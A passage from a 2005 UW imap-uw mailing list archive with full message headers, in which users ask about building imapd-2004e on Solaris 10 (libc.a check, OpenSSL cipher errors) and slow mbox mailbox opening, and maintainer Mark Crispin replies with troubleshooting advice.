List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi, does anybody managed to compile and run imapd2004e under Solaris 10? It seems me that imapd needs libc=2Ea which is not available for Solari= s 10=2E During compilation i see line: sh -c '(strings /lib/libc=2Ea | grep getpassphrase > /dev/null) && ln -= s os_soln=2Eh os_sol=2Eh || ln -s os_solo=2Eh os_sol=2Eh' /lib/libc=2Ea: No such file or directory And when i used impad and want to connect to server with thunderbird=20 in syslog i have messages: Aug 17 11:54:30 nstest imapd[1779]: [ID 298158 mail=2Edebug] imaps SSL = service init from 193=2E87=2E248=2E75 Aug 17 11:54:42 nstest imapd[1779]: [ID 149382 mail=2Einfo] Unable to a= ccept SSL connection, host=3Ddodi=2Eintas=2Esk [193=2E87=2E248=2E75]Aug= 17 11:54:42 nstest imapd[1779]: [ID 853321 mail=2Eerror] SSL error sta= tus: error:140D308A:SSL routines:TLS1_SETUP_KEY_BLOCK:cipher or hash un= available Aug 17 11:54:13 nstest imapd[1778]: [ID 298158 mail=2Edebug] imaps SSL = service init from 193=2E87=2E248=2E75 Aug 17 11:54:13 nstest imapd[1778]: [ID 149382 mail=2Einfo] Unable to a= ccept SSL connection, host=3Ddodi=2Eintas=2Esk [193=2E87=2E248=2E75]Aug= 17 11:54:13 nstest imapd[1778]: [ID 853321 mail=2Eerror] SSL error sta= tus: error:1409D08A:SSL routines:SSL3_SETUP_KEY_BLOCK:cipher or hash un= available Does anybody know how to solve this problem ? Jozef Aktivujte si aj vy schranku s neobmedzenou kapacitou na ATLAS.SK. http://mail.atlas.sk _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 07:59:58 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 07:59:58 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HExwc4031454 for ; Wed, 17 Aug 2005 07:59:58 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HExvp5005723 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 07:59:57 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HExkqr030287; Wed, 17 Aug 2005 07:59:46 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HExjKv030279 for ; Wed, 17 Aug 2005 07:59:45 -0700 Received: from smtp05.mrf.mail.rcn.net (smtp05.mrf.mail.rcn.net [207.172.4.64]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HExinf017591 for ; Wed, 17 Aug 2005 07:59:44 -0700 Received: from 216-164-48-102.c3-0.gth-ubr1.lnh-gth.md.cable.rcn.com (HELO cooper.homeunix.net) ([216.164.48.102]) by smtp05.mrf.mail.rcn.net with ESMTP; 17 Aug 2005 10:59:44 -0400 X-IronPort-AV: i="3.96,116,1122868800"; d="scan'208"; a="74673366:sNHT21973634" Received: from host254.marriott.com ([162.130.1.254]) (SquirrelMail authenticated user tcooper) by marvin with HTTP; Wed, 17 Aug 2005 10:59:28 -0400 (EDT) Message-ID: <47474.162.130.1.254.1124290768.squirrel@marvin> Date: Wed, 17 Aug 2005 10:59:28 -0400 (EDT) From: "Tom Cooper" To: imap-uw@u.washington.edu User-Agent: SquirrelMail/1.4.4-1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] iowait when opening a mailbox? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I'm using imapd-2002d on CentOS 3.4 (binary equivalent to RH ES 3) This is my home server on a box with 640MB RAM, of which 540 MB is consistently disk cache. I am running apache 2.0.46 and squirrelmail 1.4 to provide webmail service, and what I'm finding is that when I connect to the server there are significant delays in opening my mail folders. As I've investigated, I see that when imapd starts the system is in iowait state for quite a while. In this case, quite a while can be 30-60 seconds. Since the overall load average on the box averages ~0.5-0.8, and so much of the RAM is cache, I'm stumped as to why there seems to be so much io going on. My mail folders are mbox format on an ext3 partition. The main mail folder (file) is about 200M. What can I do to increase performance? (I operate under the assumption that since I'm addicted to email that my mail file is included in the dick cache.) I'd appreciate any advice that can be provided. Thanks in advance! Regards, Tom Cooper _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 08:33:04 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 08:33:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HFX4Bb000805 for ; Wed, 17 Aug 2005 08:33:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFX3f8008728 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 08:33:03 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFWlhP008322; Wed, 17 Aug 2005 08:32:47 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFWkG5008314 for ; Wed, 17 Aug 2005 08:32:46 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFWkOu006599 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Aug 2005 08:32:46 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFWikM003767 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Aug 2005 08:32:45 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7HFWLB1004084 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 17 Aug 2005 08:32:41 -0700 Date: Wed, 17 Aug 2005 08:32:16 -0700 (PDT) From: Mark Crispin To: Tom Cooper Subject: Re: [Imap-uw] iowait when opening a mailbox? In-Reply-To: <47474.162.130.1.254.1124290768.squirrel@marvin> Message-ID: References: <47474.162.130.1.254.1124290768.squirrel@marvin> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The first thing that you should do is update your software. imap-2002d is an older version. The current release version is imap-2004e. In traditional UNIX mailbox format, it is necessary to read every byte of the file as part of startup. A 200MB mailbox is a lot to read. It may also be necessary to do some rewriting to assign UIDs and status to newly-delivered messages. I agree though that your 540MB disk cache should keep this from happening. One step to do if you consistantly have a mailbox of that size is to switch to the mbx format. It greatly reduces the number of reads when the mailbox is opened, as well as the number of writes to update the mailbox. To get started on mbx format, read the following FAQ: http://www.washington.edu/imap/IMAP-FAQs/index.html#4.5 Next, you need to investigate if the I/O wait isn't due to something else. For example: (1) imapd does a reverse DNS lookup on the client's IP address to get its name. (2) the c-client library attempts to launch IMAP-via-rsh to avoid the need to negotiate authentication. Unfortunately, rsh tends to block for a minute if the rsh attempt is refused rather than quit immediately. If either of these are the problem, it will show up even with small mailboxes. Finally, does the problem happen with an IMAP client such as Pine? I don't know whether squirrelmail does this, but many webmail programs literally make a separate IMAP connection on a per-click basis. This puts a tremendous I/O load on the IMAP server. Only a few very well-written webmail programs maintain a static IMAP connection in webmail. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 08:39:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 08:39:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HFdXpN001039 for ; Wed, 17 Aug 2005 08:39:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFdWeI009271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 08:39:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFdSir009348; Wed, 17 Aug 2005 08:39:28 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFdRlM009340 for ; Wed, 17 Aug 2005 08:39:27 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFdQ19000355 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Aug 2005 08:39:26 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HFdPq3021505 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Aug 2005 08:39:26 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7HFdNBO009398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 17 Aug 2005 08:39:25 -0700 Date: Wed, 17 Aug 2005 08:39:23 -0700 (PDT) From: Mark Crispin To: Jozef Rujak Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='IP_HTTP_ADDR 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 17 Aug 2005, Jozef Rujak wrote: > sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln -s os_soln.h os_sol.h || ln -s os_solo.h os_sol.h' > /lib/libc.a: No such file or directory Don't worry about this. It is just a check to see whether the C library has the getpassphrase() call, and if so that is used when building mailutil instead of getpass(). > Aug 17 11:54:13 nstest imapd[1778]: [ID 298158 mail.debug] imaps SSL service init from 193.87.248.75 > Aug 17 11:54:13 nstest imapd[1778]: [ID 149382 mail.info] Unable to accept SSL connection, host=dodi.intas.sk [193.87.248.75] > Aug 17 11:54:13 nstest imapd[1778]: [ID 853321 mail.error] SSL error status: error:1409D08A:SSL routines:SSL3_SETUP_KEY_BLOCK:cipher or hash unavailable > Aug 17 11:54:30 nstest imapd[1779]: [ID 298158 mail.debug] imaps SSL service init from 193.87.248.75 > Aug 17 11:54:42 nstest imapd[1779]: [ID 149382 mail.info] Unable to accept SSL connection, host=dodi.intas.sk [193.87.248.75] > Aug 17 11:54:42 nstest imapd[1779]: [ID 853321 mail.error] SSL error status: error:140D308A:SSL routines:TLS1_SETUP_KEY_BLOCK:cipher or hash unavailable This is the problem that you need to look into. It's a problem within OpenSSL. It may have been built incorrectly. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 10:12:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 10:12:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HHC7AS006714 for ; Wed, 17 Aug 2005 10:12:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HHC6ZD017880 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 10:12:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HHBpUe026340; Wed, 17 Aug 2005 10:11:51 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HHBoTZ026319 for ; Wed, 17 Aug 2005 10:11:50 -0700 Received: from smtp05.mrf.mail.rcn.net (smtp05.mrf.mail.rcn.net [207.172.4.64]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HHBnIQ018803 for ; Wed, 17 Aug 2005 10:11:50 -0700 Received: from 216-164-48-102.c3-0.gth-ubr1.lnh-gth.md.cable.rcn.com (HELO cooper.homeunix.net) ([216.164.48.102]) by smtp05.mrf.mail.rcn.net with ESMTP; 17 Aug 2005 13:11:49 -0400 X-IronPort-AV: i="3.96,118,1122868800"; d="scan'208"; a="74721548:sNHT32467522" Received: from host254.marriott.com ([162.130.1.254]) (SquirrelMail authenticated user tcooper) by marvin with HTTP; Wed, 17 Aug 2005 13:11:46 -0400 (EDT) Message-ID: <22648.162.130.1.254.1124298706.squirrel@marvin> Date: Wed, 17 Aug 2005 13:11:46 -0400 (EDT) Subject: [Fwd: Re: [Imap-uw] iowait when opening a mailbox?] From: "Tom Cooper" To: imap-uw@u.washington.edu User-Agent: SquirrelMail/1.4.4-1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Whoops! I failed to reply to the list. Sorry! ---------------------------- Original Message ---------------------------- Subject: Re: [Imap-uw] iowait when opening a mailbox? From: "Tom Cooper" Date: Wed, August 17, 2005 12:06 To: "Mark Crispin" -------------------------------------------------------------------------- Mark Crispin said: > The first thing that you should do is update your software. imap-2002d is an older version. The current release version is imap-2004e. I'll look into this. Apparently RH chose to switch to cyrus, which explains why there's not a substantially newer version of your software... > > In traditional UNIX mailbox format, it is necessary to read every byte of the file as part of startup. A 200MB mailbox is a lot to read. It may also be necessary to do some rewriting to assign UIDs and status to newly-delivered messages. I agree though that your 540MB disk cache should keep this from happening. That makes some sense to me. My INBOX folder is consistently empty or DARN close to it. (1-2 messages max) I do have SquirrelMail check all folders for new mail, so I guess an empty inbox is really not a help here... > > One step to do if you consistantly have a mailbox of that size is to switch to the mbx format. It greatly reduces the number of reads when the mailbox is opened, as well as the number of writes to update the mailbox. To get started on mbx format, read the following FAQ: > http://www.washington.edu/imap/IMAP-FAQs/index.html#4.5 Thanks! I'll look at that as well. One wrinkle is that I'm leveraging procmail, which doesn't require anything else to play nice with mbox, but I see that you folks have dmail, which may make the transition relatively painless. > > Next, you need to investigate if the I/O wait isn't due to something else. For example: > (1) imapd does a reverse DNS lookup on the client's IP address to get > its name. That should be ok. I tried that and found that I could easily reverse lookup the IP address/name of the internet-exposed NAT. (Between work and home they have a transparent proxy/NAT.) > (2) the c-client library attempts to launch IMAP-via-rsh to avoid the > need to negotiate authentication. Unfortunately, rsh tends to block for a minute if the rsh attempt is refused rather than quit immediately. Hmm. I'd expect this to fail 100% of the time. Any way to disable that? > If either of these are the problem, it will show up even with small mailboxes. > > Finally, does the problem happen with an IMAP client such as Pine? Even on my home LAN, Thunderbird seems to take it's sweet time to open the mailbox. I don't think it's as bad as the webmail over https, but it can be slow. I have not investigated whether this is related to local resources or load on my server. I can give it a shot with Pine. Unfortunately if I run pine, it will most easily be from the mail server itself, which would eliminate the reverse-lookup issue - wouldn't it? I've got a couple of other linux boxes at home. I can configure pine there to see what happens.... > I > don't know whether squirrelmail does this, but many webmail programs literally make a separate IMAP connection on a per-click basis. This puts a tremendous I/O load on the IMAP server. Only a few very well-written webmail programs maintain a static IMAP connection in webmail. I'll inquire with the squirrelmail team to see if there's an option for that. Thanks much for the great feedback! Regards, Tom Cooper _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 11:17:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 11:17:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HIH0LE011007 for ; Wed, 17 Aug 2005 11:17:00 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIGx4k006409 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 11:17:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIGgvg005190; Wed, 17 Aug 2005 11:16:43 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIGfGG005182 for ; Wed, 17 Aug 2005 11:16:41 -0700 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIGewF021678 for ; Wed, 17 Aug 2005 11:16:40 -0700 Received: from mail.distal.com ([69.140.93.10]) by comcast.net (rwcrmhc11) with ESMTP id <2005081718162901300ok8ahe>; Wed, 17 Aug 2005 18:16:40 +0000 Received: from [IPv6:2001:408:1010:20:230:65ff:fe50:82a] (magrathea.distal.com [IPv6:2001:408:1010:20:230:65ff:fe50:82a]) by mail.distal.com (8.13.3/8.13.3) with ESMTP id j7HIFjqH029549; Wed, 17 Aug 2005 14:15:46 -0400 (EDT) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v622) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <1a49c76498934f9e47f451dfc824b125@fullmesh.net> Content-Transfer-Encoding: 7bit From: Chris Ross Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 Date: Wed, 17 Aug 2005 14:15:46 -0400 To: Mark Crispin X-Mailer: Apple Mail (2.622) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT_APPLEMAIL 0, __X_MAILER_APPLEMAIL 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Aug 17, 2005, at 11:39, Mark Crispin wrote: > On Wed, 17 Aug 2005, Jozef Rujak wrote: >> sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln >> -s os_soln.h os_sol.h || ln -s os_solo.h os_sol.h' >> /lib/libc.a: No such file or directory > > Don't worry about this. It is just a check to see whether the C > library has the getpassphrase() call, and if so that is used when > building mailutil instead of getpass(). Still of some issue, tho. Isn't getpassphrase preferred and/or better? It seems like another mechanism should be found to test for it is /lib/libc.a has gone away in Solaris 10... - Chris _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 11:53:55 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 11:53:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HIrsKn013674 for ; Wed, 17 Aug 2005 11:53:54 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIrsEC008937 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 11:53:54 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIrbhG011883; Wed, 17 Aug 2005 11:53:37 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIrZJ4011874 for ; Wed, 17 Aug 2005 11:53:35 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIrZCc026135 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 17 Aug 2005 11:53:35 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HIrYUo025245 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 17 Aug 2005 11:53:34 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7HIrUXE022018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 17 Aug 2005 11:53:33 -0700 Date: Wed, 17 Aug 2005 11:53:30 -0700 (PDT) From: Mark Crispin To: Chris Ross Subject: Re: [Imap-uw] Imapd-2004e and Solaris 10 In-Reply-To: <1a49c76498934f9e47f451dfc824b125@fullmesh.net> Message-ID: References: <1a49c76498934f9e47f451dfc824b125@fullmesh.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 17 Aug 2005, Chris Ross wrote: > Isn't getpassphrase preferred and/or better? It's "preferred" in that it permits longer passwords than the legacy getpass(). On most other systems they just increased the length that getpass() returns. If you don't need passwords longer than 8 characters in the mailutil program, it doesn't matter either way. It is not an imapd issue in any way. > It seems like another mechanism should be found to test for it is > /lib/libc.a has gone away in Solaris 10... I agree, but getting the necessary information out of Sun is like pulling teeth. This is not the first time that something like this has happened. Past experience makes me reluctant to waste much more time with Sun, especially since this particular question only affects mailutil. In general, SVR4 based systems (such as Solaris, HP-UX, and AIX) are not recommended platforms for an IMAP server. These systems are expensive and the SVR4 kernel has severe deficiencies which render it particularly unsuitable for IMAP usage. BSD and Linux are technically far superior to SVR4 for IMAP service, cost much less, and run on much less expensive hardware. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 17 13:00:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 17 Aug 2005 13:00:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7HK0LVQ018393 for ; Wed, 17 Aug 2005 13:00:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HK0KVN000437 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 17 Aug 2005 13:00:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HK0CdQ023188; Wed, 17 Aug 2005 13:00:12 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HK0AOG023180 for ; Wed, 17 Aug 2005 13:00:10 -0700 Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7HK0Apf027442 for ; Wed, 17 Aug 2005 13:00:10 -0700 Received: from mail.distal.com ([69.140.93.10]) by comcast.net (rwcrmhc11) with 